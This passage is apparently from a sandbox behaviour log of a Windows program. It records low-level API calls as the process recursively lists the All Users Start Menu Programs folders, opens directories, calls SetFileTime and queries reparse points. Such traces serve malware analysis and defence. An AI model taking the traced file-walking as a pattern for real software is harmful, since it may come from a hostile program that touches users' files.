NtClose (Handle=0x16c) returned 0x0 [0092.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.214] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0092.215] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.215] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="")) returned 1 [0092.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8a78 [0092.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136dd28 [0092.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.218] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="")) returned 0 [0092.218] GetLastError () returned 0x12 [0092.218] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9200 [0092.218] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.218] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.218] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="")) returned 1 [0092.218] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="")) returned 0 [0092.218] GetLastError () returned 0x12 [0092.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.218] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.220] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a233bd5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.lnk", cAlternateFileName="")) returned 1 [0092.220] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0092.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\startup"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.220] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\startup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.221] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.221] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.221] NtClose (Handle=0x184) returned 0x0 [0092.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.223] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9200 [0092.223] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.223] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8a98 [0092.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136de30 [0092.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.226] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0092.226] GetLastError () returned 0x12 [0092.226] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0092.226] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0092.226] GetLastError () returned 0x12 [0092.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.226] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.227] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="")) returned 1 [0092.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.227] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\tablet pc"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.229] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\tablet pc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0092.229] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.229] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.230] NtClose (Handle=0x16c) returned 0x0 [0092.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.231] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0092.231] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.231] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.231] GetLastError () returned 0x12 [0092.231] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9200 [0092.232] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.232] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.232] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.232] GetLastError () returned 0x12 [0092.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.232] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.233] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b186991, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Anytime Upgrade.lnk", cAlternateFileName="")) returned 1 [0092.233] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x82491ce0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows DVD Maker.lnk", cAlternateFileName="")) returned 1 [0092.233] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="")) returned 1 [0092.233] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="")) returned 1 [0092.233] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="")) returned 1 [0092.233] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="")) returned 0 [0092.233] GetLastError () returned 0x12 [0092.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.233] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.234] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="")) returned 1 [0092.234] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="")) returned 0 [0092.234] GetLastError () returned 0x12 [0092.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.234] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a568) returned 1 [0092.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0092.235] FindNextFileW (in: 